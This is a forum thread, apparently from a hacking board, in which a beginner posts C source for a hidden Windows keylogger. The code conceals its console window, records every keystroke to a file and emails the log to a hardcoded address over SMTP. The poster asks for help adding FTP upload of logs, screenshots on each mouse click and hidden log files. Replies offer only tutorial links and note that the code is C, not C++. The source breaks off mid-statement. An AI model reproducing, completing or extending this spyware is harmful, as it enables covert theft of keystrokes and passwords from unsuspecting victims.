Jump to content


Photo
- - - - -

Some CPP / C++ questions and code needed.


  • Please log in to reply
5 replies to this topic

#1 qaz

qaz

    I broke 10 posts and all I got was this lousy title!

  • Members
  • 17 posts

Posted 08 November 2006 - 07:38 AM

i just got into c++ and thought a good start to learn is to learn on something i like , wich is keylogging :P so i saw a topic by someone i dont remember posting a code of a simple mailer keylogger , its a good start for me , but i have bunch of problems [ not compile problems ] and questions i need to know.

well first the emailer doesent work very well , i use a hotmail account and i typed mx3.hotmail.com and an email and the from email i typed what ever , anyway i saw the keylogger sending the thing [ firewall ] i let it pass and the log file was deleten and rewriting again wich indicates that the mail was a sucsess according to the code [ cuz if it wasent it would not delete , it only delete if its good ] so i checked my email all was fine but when i check my junk mail and inbox i see nothing.

probably hotmail has a protection or soemthing , so to solve this problem is either give me an email provider that allows these kind of emails to be sent or a code that will save the log file "sys.sys" for example , to a remote FTP server " ftp.binrev.com " for example with username and pass and then delete the existing log and rewrites it , BTW it should send the log every say 5,000 bytes .

i need to know what to #include and stuff.

------------------

ok second question/problem :P

i need a code that will make a screen shot everytime a mouse click happends , a normal screenshot taker by timer can be a help .

-------------

other thing is i tryed to make my log files attributes hidden but i keep failing i use system(DOS thing)

and another problem is that when i want the log file to be in the windir

when i replace #define FileName "c:\\sys.sys" with #define FileName "%WINDIR%sys.sys" or "%WINDIR%\\sys.sys" in the first withouth the \\ i get the log file in desktop wich is named "%WINDIR%sys.sys and the second i get an error where my prog got a problem and i have to close it , tryed debugging and something about unauthorized access .

and my current code so far


[code=auto:0]/*Qownsyou
yupptiztrue*/
#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#include <stdlib.h>
int MailIt (char *mailserver, char *emailto, char *emailfrom, char *emailsubject, char *emailmessage);
#define BUFSIZE 800
#define waittime 100
#define cmailserver "mx3.hotmail.com"
#define cemailto "mail@hotmail.com"
#define cemailfrom "admin@whatever.com"

#define cemailsubject "The thing"
#define LogLength 500
#define FileName "c:\\sys.sys"
#define cemailsubject "The thing"

int test_key(void);
int main(void)
{
//blore
HWND stealth; /*creating stealth (window is not visible)*/
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
int t=get_keys();
return t;
}

int get_keys(void)
{
int freadindex;
char *buf;
long len;
FILE *file;
file=fopen(FileName,"a+");
short character;
while(1)
{
sleep(10);/*to prevent 100% cpu usage*/
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{
printf("%i\n",character);

FILE *file;
file=fopen(FileName,"a+");
if(file==NULL)
{
return 1;
}
if(file!=NULL)
{
if((character>=39)&&(character<=64))
{
fputc(character,file);
fclose(file);

break;
}
else if((character>64)&&(character<91))
{
character+=32;
fputc(character,file);
fclose(file);

break;
}
else
{
switch(character)
{
case VK_SPACE:
fputc(' ',file);
fclose(file);

break;
case VK_SHIFT:
fputs("[SHIFT]",file);
fclose(file);

break;
case VK_RETURN:
fputs("[ENTER]",file);
fclose(file);

break;
case VK_BACK:
fputs("[BACKSPACE]",file);
fclose(file);

break;
case VK_TAB:
fputs("[TAB]",file);
fclose(file);

break;
case VK_CONTROL:
fputs("[CTRL]",file);
fclose(file);

break;
case VK_DELETE:
fputs("[DEL]",file);
fclose(file);

break;
case VK_OEM_1:
fputs("[;:]",file);
fclose(file);

break;
case VK_OEM_2:
fputs("[/?]",file);
fclose(file);

break;
case VK_OEM_3:
fputs("[`~]",file);
fclose(file);

break;
case VK_OEM_4:
fputs("[ [{ ]",file);
fclose(file);

break;
case VK_OEM_5:
fputs("[\\|]",file);
fclose(file);

break;
case VK_OEM_6:
fputs("[ ]} ]",file);
fclose(file);

break;
case VK_OEM_7:
fputs("['\"]",file);
fclose(file);

break;
case 187:
fputc('+',file);
fclose(file);

break;
case 188:
fputc(',',file);
fclose(file);

break;
case 189:
fputc('-',file);
fclose(file);

break;
case 190:
fputc('.',file);
fclose(file);

break;
case VK_NUMPAD0:
fputc('0',file);
fclose(file);

break;
case VK_NUMPAD1:
fputc('1',file);
fclose(file);

break;
case VK_NUMPAD2:
fputc('2',file);
fclose(file);

break;
case VK_NUMPAD3:
fputc('3',file);
fclose(file);

break;
case VK_NUMPAD4:
fputc('4',file);
fclose(file);

break;
case VK_NUMPAD5:
fputc('5',file);
fclose(file);

break;
case VK_NUMPAD6:
fputc('6',file);
fclose(file);

break;
case VK_NUMPAD7:
fputc('7',file);
fclose(file);

break;
case VK_NUMPAD8:
fputc('8',file);
fclose(file);

break;
case VK_NUMPAD9:
fputc('9',file);
fclose(file);

break;
case VK_CAPITAL:
fputs("[CAPS LOCK]",file);
fclose(file);

break;
default:
fclose(file);

break;
}
}
}
}
}

FILE *file;
file=fopen(FileName,"rb");
fseek(file,0,SEEK_END); //go to end
len=ftell(file); //get position at end (length)
//printf("%i\n",len);
if(len>=LogLength) {
fseek(file,0,SEEK_SET); //go to beg.
buf=(char *)malloc(len); //malloc buffer
freadindex=fread(buf,1,len,file); //read into buffer
buf[freadindex] = '\0'; //Extra bit I have to add to make it a sting
printf(buf);
MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);
fclose(file);

file=fopen(FileName,"w");
}

fclose(file);

//free (buf);

}
return EXIT_SUCCESS;
}



int MailIt (char *mailserver, char *emailto, char *emailfrom, char *emailsubject, char *emailmessage) {
SOCKET sockfd;
WSADATA wsaData;

int bytes_sent; /* Sock FD */
int err;
struct hostent *host; /* info from gethostbyname */
struct sockaddr_in dest_addr; /* Host Address */
char line[1000];
#define bufsize 300


char *Rec_Buf=malloc(bufsize+1);

if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
fprintf(stderr,"WSAStartup failed with error %d\n",WSAGetLastError());
WSACleanup();
return -1;
}
if ( (host=gethostbyname(mailserver)) == NULL) {
perror("gethostbyname");
exit(1);
}
memset(&dest_addr,0,sizeof(dest_addr));
memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);

/* Prepare dest_addr */
dest_addr.sin_family= host->h_addrtype; /* AF_INET from gethostbyname */
dest_addr.sin_port= htons(25); /* PORT defined above */

/* Get socket */
/* printf ("Grabbing socket....\n"); */
if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
perror("socket");

exit(1);
}

/* Connect !*/

printf ("Connecting....\n");

if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
perror("connect");

exit(1);
}

sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);
Rec_Buf[err] = '\0';
printf (Rec_Buf);

strcpy(line,"helo me.somepalace.com\n");
printf(line);
bytes_sent=send(sockfd,line,strlen(line),0);

sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);
Rec_Buf[err] = '\0';
printf (Rec_Buf);


strcpy(line,"MAIL FROM:<");
strncat(line,emailfrom,strlen(emailfrom));
strncat(line,">\n",3);
printf(line);
bytes_sent=send(sockfd,line,strlen(line),0);

sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);
Rec_Buf[err] = '\0';
printf (Rec_Buf);

strcpy(line,"RCPT TO:<");
strncat(line,emailto,strlen(emailto));
strncat(line,">\n",3);
printf(line);
bytes_sent=send(sockfd,line,strlen(line),0);

sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);
Rec_Buf[err] = '\0';
printf (Rec_Buf);

strcpy(line,"DATA\n");
printf(line);
bytes_sent=send(sockfd,line,strlen(line),0);

sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);
Rec_Buf[err] = '\0';
printf (Rec_Buf);

sleep(waittime);
strcpy(line,"To:");
strcat(line,emailto);
strcat(line,"\n");
strcat(line,"From:");
strcat(line,emailfrom);
strcat(line,"\n");
strcat

#2 Venom

Venom

    SUPR3M3 31337 Mack Daddy P1MP

  • Members
  • 365 posts
  • Location:919

Posted 08 November 2006 - 12:17 PM

C++ Tutorial
C++ Windows API Tutorial

EDIT:Just an FYI, the windows API is the key to doing stuff like Screenshots, CD Ejection, things of that nature. Combing over this API tutorial may help you do more than merely what you were looking for.

Edited by Venom, 08 November 2006 - 12:18 PM.


#3 qaz

qaz

    I broke 10 posts and all I got was this lousy title!

  • Members
  • 17 posts

Posted 08 November 2006 - 03:20 PM

thanks for the reply , and yeah i knew about cplusplus.com ill look into that , i hope il be able to figure out a way to putt the code int he right place. gotta remember this isint html :P

and btw whenevr u opent he keylogger i get a black screen [ms dos] popping on and off fast can i get pass that , maybe makign the HIDE window code a bit erilier or something ?

#4 HaNoCr

HaNoCr

    HACK THE PLANET!

  • Members
  • 61 posts
  • Location:Germany

Posted 13 November 2006 - 05:46 PM

Don't tell me that u proggt this by yourself, after u "got into C++"?

I do C++ for some time, and such a project, may even would be a proglem for me.
Or I'm just some kinda Stupid and Dumb?

HaNoCr :huh:

#5 chefninja

chefninja

    Gibson Hacker

  • Members
  • 79 posts

Posted 13 November 2006 - 05:49 PM

Nobody seems to have mentioned this... but that is not C++ code. It's C. Big difference...

#6 HaNoCr

HaNoCr

    HACK THE PLANET!

  • Members
  • 61 posts
  • Location:Germany

Posted 14 November 2006 - 02:10 PM

Oh, that's right!
I've should have seen it because of the "printf" (for ex.)!

HaNoCr
:)




BinRev is hosted by the great people at Lunarpages!